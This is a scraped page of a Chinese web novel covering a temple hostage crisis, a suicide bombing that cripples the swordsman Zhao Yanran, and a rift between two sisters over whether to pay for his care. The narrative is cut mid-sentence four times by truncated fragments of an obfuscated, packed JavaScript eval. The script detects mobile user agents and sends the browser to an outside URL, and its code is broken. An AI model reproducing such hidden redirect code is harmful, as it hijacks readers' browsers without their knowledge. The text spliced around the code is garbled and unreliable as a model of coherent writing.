d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711730|144584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回踱步。 白云真人心中烦乱,只觉自起事以来,自己从来没有这么倒霉过。 白云真人早些年只是北风城外的一个流寇,机缘巧合接触了北风城外一个几近消亡的民间信仰。 那一天,流寇遇见了一群被贪官剥削、食不果腹的农民,他们围绕着一个小小的雕像供奉磕头,流寇询问后才知,这尊雕像名为“无生老母”。 这几个信徒乞求无生老母降下神罚惩治贪官,没收财产。流寇听着听着,脑中灵光闪过,随即游说几人,同他一起埋伏在官道上,抢劫了那位作恶多端的贪官并抛尸荒野。 自那之后,几个尝到甜头的信徒便成为了流寇的小弟,而流寇则自封为无生老母在凡间的话事人,并起了个道号叫“白云真人”。又借着“均贫富,等贵贱”的口号不断在北风城外抢劫往来官商。 由于“均贫富”的教义对穷人非常具有吸引力,再加上流寇灵活的头脑和煽动人心的口才,流寇领导的武装组织很快扩张起来,人称“白巾军”。而流寇的讲义则成为教徒争相传看的圣经,无生老母的信仰也迅速传播至整个谢国,即是白巾教。 三年前,白巾军首次起事,顺利占领了北风城。自那之后朝廷屡次出兵,但因京城对北方控制力较弱,因此始终无法平定北风城的内乱。 而白云真人占领北风城后,渐渐生出了更大的野心。眼见白巾教在国内的影响力愈发壮大,白云真人决定巡回探视各地教徒,顺便开展法会吸纳更多的新人。 白云真人前期在几个城池开展的法会都十分顺利,却没想到会在京城生出变故。 法会之前,白云真人派人联系了白巾教京城分舵主——青牛观的黄观主,负责布置法会联络当地教众的事宜,而白云真人这边也安排了大量的教徒负责他的安保:包括观众席上的死士,随身的侍卫,法会外伪装成平民的教徒。 另外,几十里地之外,白云真人还布置了一批精锐接应。但由于京城附近有戍卫驻军,白云真人不敢让他们靠得太近,以免打草惊蛇。 白云真人在京城一共有两场演讲,一场是吸纳新教徒的法会,另一场则是激励当地白巾教徒的演讲。他的行程绝对保密,再加上手下将安保事宜安排得万无一失,白云真人无论如何也没想到,朝廷居然会在这个时候动手。 虽然他第一时间控制住人质,也令黄舵主飞鸽传书给支援的精锐。但距离白巾教支援部队赶到尚需时间,他必须在此之前拖延时间。 于是此刻他心烦意乱地在台上来回踱步打发时间,时不时瞥一眼台下的人质,心中祈祷外面的官兵不敢轻举妄动。 他转头看了眼自己后方和左右的三个护卫,心下稍安。时下的情形,只能拖一时是一时。 然而就在这时,白云真人听见前院有人大喊,“诸位白巾教弟子,你们都是谢国人,是我们的同胞,现在的形势下抵抗是徒劳的,何必为只把你们当肉盾的白巾教主卖命?青牛观已经被彻底包围,放下武器投降是你们唯一活下去的机会。” 13. 谈判 对面喊完,会场的一部分白巾教徒便开始蠢蠢欲动。 原来在场的白巾教徒并非个个都是训练有素的精锐,其中有些甚至是临时听从青牛观观主安排负责安保事宜的京城土著,他们根本没想到会面临生命危险。 白云真人喝道,“不要听对面妖言惑众,都是骗人的,谁投降了过去只会被杀。” 但即使如此,还是有两个靠近外院的白巾教徒一边回头张望,一边丢下武器跑掉了。 白云真人非常愤怒,但院内压制人质的教徒本就有些人手不够,再派人去追容易出乱子。 白云真人心知自己必须出手,否则局面将会越来越被动。 他领着三个贴身护卫走下台,拨开观众席外围手持武器的教徒,来到第一排前。 “来自路府的姐妹?”白云真人有些阴沉地在知慈和沈纤纤二人的面庞上来回打量,最终粗暴地抓过沈纤纤的胳膊,抓着她向会场外走去。 沈纤纤吓得一动不敢动,乖乖被他拉着离开了。 白云真人由三个护卫保护着,来到会场出口,隔着山门与青牛观正门处的众官兵遥遥相望。这样的距离绝对安全,也能清晰和对方喊话。 “各位大人!贫道不杀人,你们便认为贫道在闹着玩?”白云真人高声道。 他刀锋死死贴着沈纤纤的脖子,沈纤纤早已吓得六神无主,她不知为什么白云真人会选中自己。 白云真人道,“从现在开始,我每隔一炷香便会杀一个人质。这位姑娘来自路府,生得这么美丽,真是可惜。路府欠我白巾教几十条人命,所以便从这位美人来开刀罢。” 此言一出,对面朝廷官员们一片哗然,众目睽睽下杀害平民,这是非常恶性的事件。 而沈纤纤则控制不住的颤抖,口中不住地喃喃着什么。 白云真人听着沈纤纤在他耳边念念有词,疑惑道,“你说什么?燕然救命?燕然是谁?”随即反应过来,面对死亡,这姑娘本能希望有人能从天而降拯救她。 想明白这一点,白云真人狞笑一声,“小姑娘,你在我手里,谁都救不了你。” 沈纤纤眼泪自下颌留至刀刃上,她带着哭腔道,“我知、知道,他不在这里;即使在,他也不会管我了。” 就在二人对话时,远处,谢琅突然朗声道,“别伤害她。” 白巾教主闻言,只是冷笑,“我不杀人,你们就一直搞些小动作,动摇教心。” 谢琅道,“那我做人质您看如何,用我换得其他人的安全,不要杀人。” 谢琅话音刚落,周围官员便纷纷劝阻。 胡捕头忧心忡忡道,“殿下,有必要做到如此地步吗?” “是啊,千金之躯不坐垂堂,您万万不能去啊。”又一人附和。 谢琅微微侧头,瞥了众人一眼,“那你们谁愿意替我去?” 官员们一时间均闭上了嘴。唯有池无暇犹豫片刻道,“若你一定要换人质……那……我替你去吧。” 谢琅摆了下手,眼睛紧盯着白云真人,“无暇,你有别的任务,你现在动身,去带人包抄观后,切不可迟了。” 池无暇站在阴影处,担忧看了他片刻,方道,“你保重。”随即悄无声息退下,带人去了观后。 远处,白云真人听完谢琅的要求,有些兴奋又不太相信。 五皇子作为筹码,分量自然比他手里所有平民加起来都足。但他还有顾虑,天上哪有掉馅饼的好事?谢琅主动来当人质,这背后是否有诈? 白云真人不想露怯,绷着脸道,“只能换她一个。” 谢琅叹了口气,扬声道,“哪怕能换得一人安全也是好的。”说罢,他便主动举起手向白云真人走去,以表明自己没有武器。 白云真人见他真得要来当人质,心下反而有几分慌乱,谢琅行至一半时,白云真人大声道,“你先别动!” 谢琅依言停下,安静看着他。 白云真人抬头冲山门屋顶的教徒道,“阿飞,你下来看着他!”白巾教主心中将信将疑,既觊觎谢琅这块肥肉,又不敢让他靠近。 名为阿飞的教徒听令一跃而下,随即用手中麻绳将谢琅绑起。见谢琅确实没有威胁,白云真人终于放下心来。 白云真人笑道,“殿下如此真诚,我也必须兑现承诺。”随即放下架在沈纤纤脖子上的刀,示意她可以离开了。 沈纤纤跪倒在地,腿和面条一样软。她发着抖回头看了白云真人一眼,见对方确实没有为难自己的意思,连忙起身踉踉跄跄,同谢琅擦肩而过,一言不发一路跑到了大门官兵处。 得到五皇子做自己的人质,白云真人觉得自己仿佛吃下了一颗定心丸,心情大好。甚至愿意主动同谢琅攀谈起来。 白云真人笑眯眯道,“殿下可真是爱民如子,贫道佩服。” 谢琅双手被绑在背后,脖颈架着一把尖刀,但他面不改色,温润笑着道,“圣上告诫百官以民为本,我不过在践行父皇教诲罢了。” 白云真人大笑,“没想到你们皇家子弟如此实在,直接用命来饯行‘以民为本’。你的觉悟可比贫道高太多了。” 谢琅神色谦和,“过奖了,这是我应该做的。” 见谢琅坦然接受自己的夸奖,白云真人突然又不高兴了。他收起笑容,道,“有一个问题,我不理解。” 谢琅静静望着他,等待着他的后文。 白云真人道,“我同你说笑,是因为你的命握在我手里;可你又凭什么也这样悠哉?不知道的,还以为你在挟持我。” 谢琅疑惑道,“为什么我不可以悠哉?” 白云真人道,“你的命捏在我手里,你怎么能笑出来?你不怕死?” 谢琅听罢,摇了摇头,“不,我只是相信你不会动手。“ 白云真人惊奇道,“笑话?笑话!你在我手里,我为什么不会动手?” 谢琅笑了,“因为我赌你比我爱惜自己的性命。” “什么?!” 与此同时,白云真人察觉到一柄尖刀抵住了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711731|144584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的后背。 “别动。”身后响起一个少年的声音。 - 赵晏然方才一直潜伏在围墙之外,与谢琅距离保持水平。他没办法前进,因为前面的区域风吹草动都会被山门上放哨的白巾教徒发现。 当他看见白云真人挟持的人是沈纤纤时,赵晏然暗自咬牙,却毫无办法,因为他与二人距离尚远,如果强行援救,在他赶到之前就会被发现打草惊蛇。 随即他听见谢琅提出用自己换人质安全,赵晏然当即明白谢琅在赌白云真人个性谨慎贪婪: 白云真人身边一共三个护卫,想扣下谢琅,要么分出自己身边的护卫去扣押谢琅,要么让山门上的放哨教徒去抓谢琅。 白云真人舍不得分出自己的贴身护卫,选择了后者。 对于赵晏然来说,只要能近身,哪怕白云真人有再多人保护也挡不住他。 谢琅以身犯险,果然赌中白云真人唤放哨教徒下来,给赵晏然继续前行创造了空间。 “倒是有点胆色。”赵晏然不大情愿地夸了一句。随即打起精神——接下来该轮到他出场了。 见放哨的教徒去擒谢琅,赵晏然没有惊动任何人,顺利潜伏至白云真人身侧围墙外。目睹沈纤纤脱离危险,赵晏然心中总算放下一块大石。 他听着白云真人同谢琅谈笑,趁他注意力被谢琅吸引之际,单手翻身过墙,动作极快,电光火石间便解决掉了白云真人的三个护卫。 对面,挟持谢琅的教徒注意到赵晏然的动作,还没来得及出声提醒,赵晏然的匕首便已经平稳抵住了白云真人的背心,“别动。” 异变突生,谢琅脖前的刀也立刻紧了几分,他听见挟持的教徒大喊,“不许动!” 白云真人身后,会场内挟持人质的教徒纷纷进入高度戒备的状态。 一时间,气氛非常紧张。 谢琅无视架在脖子上的尖刀,朗声道,“让你的人把武器放下。” 白云真人强自镇定道,“你先放。” 谢琅轻笑,“我死了没所谓,赵少侠,让他吃点苦头再说话。” 白云真人听见身后少年冷笑道,“你不说,我也准备这么做。”随即白云真人手腕一凉,剧痛传来。 白云真人惨叫出声,对方竟直接砍断了他的手腕。 赵晏然则立刻大声对全场道,“全都不许动,否则你们教主丢得就不只一只手了。” 见到教主受伤,刚欲对人质以牙还牙的白巾教徒动作顿住,进退两难地等待教主的指示。 白云真人冷汗涔涔,他明白撤出白巾教徒后自己就再无筹码,但性命被捏在他人手上,他根本没有选择。 白云真人勉强对场内教徒道,“都撤出来,你们……投降吧,不要伤害平民。” 白巾教徒们听到指示,犹豫着相互对视。 放下武器意味束手就擒,但教主命令,他们不敢不听。 片刻后,挟持谢琅和平民的白巾教徒纷纷放下了武器,举手走了出来。 14. 重伤 白云真人投降,之后的事情便顺利了许多。 劫持人质的白巾教徒们放下了武器,被鱼贯而入的官兵控制住,而赵晏然也将白云真人交给了谢琅的人处理。 赵晏然遥遥看见沈纤纤已在官兵保护下安然无恙,终于想起了知慈。于是他前往会场内,确认知慈是否还活着。 知慈经历一场巨大变故,虽然白巾教徒已经被控制,但想起方才刀剑对准咽喉的感受,知慈依然十分后怕。 见到赵晏然的一刻,知慈心中踏实下来,她抓着赵晏然的手臂问,“我姐姐呢?她怎么样?” 赵晏然简洁道,“她很安全。” 知慈安下心来,屈起手指擦了一下脸上的泪痕,却感到泪水干涸处的皮肤传来火辣辣的疼痛。 她不想让赵晏然注意自己狼狈的模样,掩饰般道,“没事就好,那我也没事……” 然而下一秒,赵晏然却为她递来一方白色的手帕。 大概是怕手上的血污沾染到帕子,赵晏然没有直接用手,而是用剑柄顶着手帕递给了知慈。 “干净的,擦下脸,我带你出去。”少年语气难得温柔。 知慈明白他在照顾自己劫后余生的心情,心中丝丝暖流淌过,“好。” 然而,就在知慈将将接过手帕的一刻,赵晏然多年练武的直觉让他瞬间警觉——有人自背后偷袭。 强者的自负让赵晏然想都未想便将知慈拽到自己身后加以庇护。随即赵晏然旋身出剑,转身将背后偷袭者刺了个对穿。 然而下一瞬,赵晏然瞳孔震惊放大,因为他发现偷袭他的流浪汉衣服内捆绑了整整一圈炸药。就在赵晏然将他捅了对穿的同时,那人点燃了身上捆绑的炸药—— 爆炸声响起,掀起的热浪间,赵晏然终于看清他蓬乱长发下的真面目:是上次暴乱中被开除的李护院。 - 李护院的命运自秋爽死时发生改变,他未曾想到秋爽死的第二天,自己又会接连丢了饭碗。 李护院没有家人,平日吃穿住行都靠路府,又因喜好赌博没攒下一分钱。遭到如此打击后,李护院心灰意冷,不愿重新找差事,于是很快流落街头。 无所事事的李护院同城内流氓混迹一处,学到了不少下九流的招数,其中就包括在身上捆绑炸药四处威慑他人。 以谢国的技术而言,火药杀伤力一般且极不稳定,性价比底下。所以除战场特定用途外,在实战中并不常见。 但李护院一条贱命已经什么都不在乎,所以他在身上绑满炸药,即便引燃所有炸药也只能炸死周身最近一圈人。 自此以后,李护院彻底成为流浪汉,平日遇到不顺眼的人,便掀开外衫露出身上的炸药恐吓对方。 这日青牛观法会,李护院同参会的其他人一样,想摆脱迷茫寻求一条解脱之道。他衣衫褴褛头发蓬乱,靠近他的人都纷纷捂住鼻子露出嫌恶的表情。 但李护院不在乎,自顾自落座。期间他看见知慈竟也来参加法会,李护院只觉气血翻涌:仇人在场,反正他也不想活了,干脆与她同归于尽。 这之后种种波折,包括得知法会是白巾教的传教会,他都未曾动摇想和知慈同归于尽的心。在他看来,相比白巾教,知慈才是害死秋爽的元凶。 挟持人质的白巾教徒们被官府控制住,李护院终于重获自由。然后,他便看见赵晏然出现在知慈身边。 李护院大喜过望,这两个人一个害自己丢掉爱人,一个害自己丢掉饭碗。两个自己最恨之人聚在一块,正好把他们都给炸死。 于是他悄无声息接近知慈,一边盯着赵晏然同知慈说话,一边悄悄点燃火折子。 他冲向二人,距离二人只有一步之遥时,赵晏然有所察觉。但一切都已经晚了,李护院掀开外衣,点燃了身上的炸药。他露出决绝而癫狂的笑容:你们两个,都给我下地狱去吧! - 爆炸声和巨大的冲击力下,知慈眼前一黑,向后仰倒。但因为赵晏然在她身前挡下了大部分冲击力,所以她并未受伤。 空气中弥漫着硝烟味儿,知慈除了耳鸣,听不到其他声音。 赵晏然的重量压在知慈身上,知慈接近喘不过气。 视野渐渐变得清晰,知慈目之所及是法会上方湛蓝的天空,她推开压在自己身上的少年。随即见他紧闭双眼、脸色苍白。 “喂,你还好吗?”她费力抽出手,推少年肩膀。 赵晏然没有应答。 “你怎么了?”知慈有些慌,更大力的推他。 周围的官兵注意到此处的声响,围了过来,“天啊,真惨。”一官兵看着赵晏然道。 真惨?知慈有些不解。 “别动,姑娘,他伤的太重。”官兵对知慈道,随即众人小心翼翼将赵晏然抬到旁边。 知慈费力爬起身,看见鲜血流得到处都是。 身边,李护院的尸体已被炸得支离破碎,周围四处是他的肠子、脏器和断肢。 接下来知慈的目光移向赵晏然,赵晏然躺在地上一动不动,前襟因爆炸冲击血肉模糊。 突然而来的变故让她手足无措,她求助般望向官兵们,“他应该不会有事吧。” 一个官兵道,“不知道,先让大夫来急救吧。” 知慈道过谢,官兵便去前院替知慈寻大夫了。那之后知慈原地陪在赵晏然身边,等待大夫过来。 她伸出颤抖的手,想触碰赵晏然,心里乱成一团。 赵晏然仰躺在地上,俊秀的少年闭着眼睛,脸色苍白。 “可怜的年轻人,命不久矣。”知慈身边响起一声叹气。 知慈见对方说赵晏然短命,非常生气。她回头看去,见一个女道士鬼鬼祟祟站在她身边。 女道士身着道袍,神色高深莫测。知慈望着她疯癫的模样,突然想起这个道姑她见过:上次同沈纤纤来青牛观办事时,这个疯癫道姑曾预言沈纤纤无缘富贵,让沈纤纤十分恼火。 知慈生气道,“你不会说话,就不要说话。” 道姑恍若未闻,依旧一副神神叨叨的模样,道,“这小伙子即使活下来,恐怕也会终身瘫痪,生不如死。” 知慈本就焦虑,道姑还在一旁扰她心神,她反感道,“你快走吧,不要再乌鸦嘴了。其他道士都被抓了,怎么偏偏你还能随意走动、胡说八道?” 女道士嘿嘿一笑,终于正面回答了知慈的问题,道,“这次法会就是我给官府递的信,官府又怎会来抓我呢?” 知慈瞥她一眼,有些意外。 女道士望着昏迷不醒的赵晏然,继续道,“虽然这小伙子注定救不回来了,不过也不是没办法——” 女道士话未说完,便被知慈打断。 “你闭嘴。” 知慈定定望着女道士,神情非常认真,“他没有事,方才贵人说等会回安排太医给他看病,太医还没来,你凭什么在这里妄下断言?你觉得自己比太医更懂医术吗?” 女道士见知慈态度反感,只得不再提扫兴的话,嘟嘟囔囔道,“……话别说太满,说不定你就会用上我,我能救他,爱信不信。”随即飘飘然离开了。 “不会那么一天。”知慈扬声冷冷对她的背影道。 知慈生气地想,即使赵晏然真的重伤不治,她作为一个道士又能有什么办法?难道要靠求神拜佛把赵晏然救回来?若求神明保佑便能让人起死回生,那天下道教徒岂不都该长生不老? - 知慈焦急守在赵晏然身边的同时,青牛观外,沈纤纤也一直在等赵晏然和知慈出来。 片刻前,谢琅主动提议交换人质,让她得以安全来到观外。在官兵保护下,沈纤纤揪心地等待其他人质的消息。 沈纤纤必须承认,主张参加法会是她的错误。她若早上能听进知慈的劝告,她们便不会被置于险境了。 但除此之外,沈纤纤没想到,赵晏然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711732|144584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竟然真得会过来营救自己,明明自己才同他吵了一架。想到这里,沈纤纤心里很是感动。 她默默等待,祈祷赵晏然和知慈平安。 但等了又等,直到白巾教落网、大部分百姓都已离开了现场,沈纤纤却始终不见知慈和赵晏然出来。 沈纤纤疑惑又焦急,于是重回法会现场,亲自去寻二人。 沈纤纤来到院内角落,找到了知慈和赵晏然。但她没想到,自己竟看见赵晏然紧闭双眼、生死未知躺在地上。 “……他怎么了?”沈纤纤向跪坐在赵晏然身边的知慈问道。 “他被炸伤了,现在伤势不明,在等医师过来给他做急救处理。” “一定会没事的。”沈纤纤在知慈旁边蹲下,望着少年苍白的面容,自言自语般道。 之后,二人围在赵晏然身边,等待太医的到来。 片刻后,医师终于处理完前院的伤者,赶来到赵晏然身边,给他清理伤口,又做了包扎。 急救完毕,医师对二人道,“他伤的太重,眼下只能简单包扎,吊一口气。至于后续如何,还得送去养济院进一步救治。但现在养济院人满为患,你们若识得其他靠谱医师能为患者尽快施救,那最好不过。” 姐妹二人对视一眼,均想到路府专门养了一位医术精湛的老大夫。眼下最好的办法,便是将赵晏然送回路府救治。 于是二人向医师道过谢,又拜托了两个官兵,帮忙将赵晏然抬回路府。 - 赵晏然生死未卜被抬回路府,惊动了府上众人。路繁叶闻讯,忙请府上医师为赵晏然诊断伤势。 厢房外,路繁叶与知慈等人站在院中,等待医师为赵晏然查看伤势。 “凭赵晏然的武功,怎会受这样的伤?”路繁叶皱着眉,有些不解。 知慈道,“回主子,当时赵晏然在同我说话,结果遇见了李护院,他已经疯了,在身上缠满炸药自爆袭击,赵晏然本想带我躲开他,却被爆炸波及,身受重伤。” 路繁叶点了点头,摩挲着手上扳指,半晌又道,“你们为什么去青牛观?” 沈纤纤低着头道,“回主子,前日我奉夫人之命去青牛观请道长做法,期间被邀请参与青牛观法会,当时的我根本没料到这竟是白巾教的圈套,拉着妹妹一起去凑热闹。待发现时却为时已晚。” 路繁叶‘嗯’了一声,又问道,“那现在白巾教徒全都被抓住了吗?” 路繁叶虽因职务便利提前得知白巾教将展开抓捕行动,但他并非参与行动的武官,因此对具体时间、地点、进展都一概不知。 这次是护送赵晏然的官兵回答的,“基本都控制住了,不过我们抬这位小兄弟回来时,又冒出了一队白巾教的援军,大概两百人。” 另一个官兵不以为然道,“那点人根本不成气候。谢琅殿下拿下白云真人后,便立刻前去督战,现在想必已经压制住对面了。今日过后,白巾教京城势力便已彻底拔除。” 路繁叶闻言,神色却微妙起来,他瞥了眼厢房紧闭的大门,口中道,“白巾教能被剿灭,这是天大的好事啊。” 众人表示赞同。 路繁叶又道,“为了防备白巾教,近一年来我月月往上清山送礼,说花钱如流水也不为过。如今白巾教倒了,路府财务上的压力可小了不少。” 这话来得突兀,像路繁叶在同他们抱怨,一时间无人能接话。 几个官兵见人已送到,完成了任务,便也不再等待,同众人告别返回青牛观。 官兵走后,没过多久,厢房门被人从内推开。医师走了出来,脸上表情却很凝重。 沈纤纤问道,“大夫,赵晏然他怎么样?” 医师道,“他已经暂时脱离危险,只需再服用一副还魂草便能醒来,但是……” “但是什么?” 医师摇了摇头,道,“但他伤到龙骨,恐怕这辈子都得瘫痪在床,需要人照顾了。” 15. 姐妹决裂 此话一出,无论沈纤纤还是知慈,都不约而同道,“什么?!” 而路繁叶闻言,则下意识皱了皱眉。 医师看向路繁叶,道,“大少爷,还有件事。人虽救回来了,但想维系住他的性命,以后每日都需要喂他还魂草。还魂草价格不菲,老夫手上也无库存,若您同意,老夫便去拜托管家采购今日的还魂草。” 路繁叶听罢,道,“慢。” 自听闻白巾教几尽落网后,路繁叶脸上的焦急和担忧便不见了,此刻更是一脸精明,道,“既然救回来也是个废人,那又何必在他身上花费钱财?” 路繁叶随即扬声道,“小周。” 院外,不少家丁徘徊周围,想打探赵晏然的情况。家丁小周突然被点到名字,连忙推开院门,“主子,我在。” 路繁叶道,“你去写封信,告诉上清山的人,赵晏然因处理他自己的私事受了重伤,医师诊断终生瘫痪,让他们把人接回去。” 小周和院外其他人闻言,均愣了愣,觉得路繁叶的处理有些冷酷无情。 但小周随即还是领命道,“是。” 院内,知慈却忍不住了,道,“大少爷,赵晏然为路府做过这么多事,之前还为路府抵御了白巾教。您怎能在他病情最重的时候,连只还魂草都吝啬,便要让人把他接走?” 路繁叶最厌烦有人挑战他的权威,见对方只是府上的婢女,他更是不耐,道,“你是哪个管事手底下的,基本的规矩都没有?我告诉你,我不是白请他赵晏然。你知道我每月都要给他师门送多少礼吗?如今他没了自理能力,我有什么义务养着他?” 回想起几天前自己放下身段拉拢赵晏然,这小子却一副骄狂模样,路繁叶更是觉得狠狠出了一口恶气,他甚至顾不得高门大户的涵养名声,道,“如今我还让他在府上住着,已经很仁慈了。” 此言一出,众人均感诧异:即使普通下人受了工伤都不该被这样对待,何况赵晏然对路府有恩,大少爷的行为几乎算羞辱了。 院外有同赵晏然关系好的年轻护院,也过来打听他的伤势。他听见路繁叶的话,气血上头不顾僭越,气愤地大声道,“您不给赵兄弟用药,只收留他躺着,那他伤口恶化死了怎么办?您既然吝惜钱财,那我们自己给他凑一株还魂草,总可以吧。” 这话得到不少人的附和。 路繁叶闻言大怒,“你们反了?谁是主子?你们谁敢管他,便不用再吃我路府这碗饭了。” 路繁叶知道院外不少下人在凑热闹,对这种事他本想睁一只眼、闭一只眼。 但此刻被人公然顶撞,事关自己的威严,路繁叶厉声道,“赵晏然的事你们谁都不许管,但凡有敢帮他、救济他的,一律辞退。” 路繁叶又将目光移至知慈和沈纤纤身上,“还有你们俩个,我知道你们和赵晏然走得挺近,怎么选,你们想好了。” 说罢,路繁叶一甩袖子,转身就走。 “大少爷……”医师声音微弱,试探着问他。 路繁叶没有理他,跨过院门,下人们自动让出一条路,噤声目送他离去。 由于大少爷下了死令,家仆和护院们纵使义愤填膺,也不愿真搭上自己的饭碗,众人不敢再在院外停留,很快便散去了。 院内,医师对沈纤纤和知慈道,“大少爷不肯出钱,赵公子又急用还魂草,若是过了今天还没有筹到,赵公子恐怕又有生命危险了。” 知慈闻言,忙道,“大夫,还魂草需要多少钱,在哪里买?” 医师道,“还魂草要五百两。” 饶是知慈已有心理准备,还是忍不住道,“也太贵了。” 医师又道,“还魂草卖得地方很多,但品质不一,我告诉你几个地方——” 医师话未说完,却被沈纤纤打断,“大夫您稍等,我有几句话想同我妹妹单独说。” - 隔壁空厢房。 沈纤纤道,“你真想买还魂草?” 知慈不明白这有么疑问,道,“不买还魂草,赵晏然何时能醒?” 沈纤纤道,“我的意思是,接下来,你怎么打算的?” 知慈想都未想,道,“救他呀,差事丢了可以再找,但赵晏然救了我们,不能不管他。等上清教接他的人过来以后,如果还需要咱们帮忙,那便尽力而为。” 说着说着,她突然察觉到了沈纤纤言外之意。 “……你什么意思?”知慈问。 沈纤纤神情似哭似笑,道,“赵晏然这副模样,上清派不会养他一辈子。” 知慈愣住了。 沈纤纤望着知慈,轻声道,“他是个累赘。” 听见沈纤纤这样说,知慈脑中‘嗡——’的一声,一边空白。 她听见沈纤纤道,“你想想,你我积蓄加起来都不到五百两;而且,即使凑到了今天的还魂草,那明天呢?再退一步讲,即使真的等到了上清派来人接他,你认为上清派会养一个每日花费重金的残废多久?到时怎么办?你我继续照顾?怎么照顾?拿什么照顾?你告诉我,是不是他活着一天,我就要困在他身上一天?” 知慈开口,“可是他救了我们,对我们有恩。” 沈纤纤忍无可忍,声音变得尖锐起来,“你能别提救命了吗?他救的是你,同我有什么关系?!” 知慈不敢置信地望着她。若非沈纤纤执意去青牛观,她们怎会置身险地?赵晏然又怎会重伤瘫痪? 沈纤纤避过知慈责问的眼神,盯着远处的树道,“救下我的是朝廷官兵,不是赵晏然。而且,如果活下来的代价是让我后半辈子都养着个废人,那我宁可方才死在白巾教的屠刀下!” 听着沈纤纤拼命推卸责任,知慈突然有些心酸,不知是为赵晏然,还是为自己。可她还是希望沈纤纤能陪她一起,帮赵晏然渡过难关。 “他是来救你的。”知慈开口。 接下来的话,知慈说得有点艰难,像把自己的内心最难堪的部分血淋淋地剖开。她勉强维持着声音平稳,怕抑制不住自己的哽咽,“……赵晏然救我, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13711733|144584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只是顺带。你大概没察觉,他真得很喜欢你。” 这句话说完,沈纤纤半晌没有回应。 天色渐暗,远处传来路府饭堂嘈杂的声音,知慈听见说话声、嬉笑声,还有遥遥飘来的饭香…… 奇怪,这一切为何如此遥远,仿佛与她们与外界身处两个世界。 就在这时,知慈听见一声抽泣。 知慈抬眼,却看见方才一脸冷漠和厌烦的姐姐,此刻扬着头看向天空,想逼回眼中的泪水。但泪水依旧不受控制地流下。 半晌,沈纤纤终于开口,声音却抑不住哭腔,道,“我知道,他表现的那么明显,三年前就知道了。” 沈纤纤声音带着浓重的鼻音,道,“我甚至可以告诉你,我也喜欢他。我长这么大,唯一动心的人就是赵晏然。” 知慈愣住了。姐姐竟喜欢赵晏然?可她从来都没表现出来啊…… “奇怪是吗,奇怪我为什么从不表现出来,也不回应他?” 知慈没回答,安静等待她的下文。 沈纤纤继续道,“因为没有意义。我要的东西他给不了,他追求的东西,于我来说虚浮得可笑。”她发出一声类似哼笑的哭腔。 “我要的是权势,是地位,是让所有欺负过我的人后悔,是将所有看不起我的人踩在脚下。这些东西,赵晏然他给不了。” “有那么多人追求我,我的前途一片光明。你告诉我,喜欢值几个钱?”沈纤纤似乎想露出一个不屑的神情,但她脸上全是泪痕,看起来有些滑稽。 “他喜欢我、来救我,那都是他自愿的。我绝不会搭上自己的前途去救他。你若要救,那就救吧,你我分道扬镳。” 知慈说不出话。 她没有阻拦沈纤纤追求前途。可此事完全因她而起,她不该把所谓前途拿来当做逃避责任的借口。 沈纤纤擦了擦泪水,她想说的话都说完了,于是转身欲走。 “姐姐。”知慈唤道。她还想挽留,不止为了赵晏然,她心中更加恐惧的,是沈纤纤就这样抛下了自己。知慈有种强烈的预感,跨出这个门,她们之间的感情也彻底结束了。 沈纤纤停下脚步,背对着知慈。 知慈急切对沈纤纤道,“姐姐,求你,就当是为了我,为了你妹妹。” “为了你?” 沈纤纤缓缓转过身,神情诧异好笑,似乎没想到知慈会说出这句话。 她从上到下打量了一遍知慈,“你一点自知之明都没有吗?” 知慈张了张嘴,说不出话。 沈纤纤没再说别的话,转身走了。 知慈目送沈纤纤离去,突然觉得自己和赵晏然一样可怜。 虽然她有时会偷偷羡慕和嫉妒沈纤纤,但她是真的把沈纤纤当姐姐。羡慕嫉妒是真,关心也是真,否则她怎会冒着生命危险,陪沈纤纤去青牛观呢? 可原来是她错了,她们之间只是她一厢情愿;是她自己自作多情,凑上来让沈纤纤羞辱。 知慈无声地擦拭眼泪。 16. 求救 知慈返回赵晏然的厢房,医师已经走了,院里空无一人。 知慈怔怔看了容颜苍白的少年半晌,下定了决心。 她要救赵晏然。 随即,知慈动身准备回自己寝房拿出所有积蓄。 知慈来到寝房门口,却见到周嬷嬷站在寝房门口,而知慈的衣物已经被人草率地打包成了行李,堆在周嬷嬷脚边。 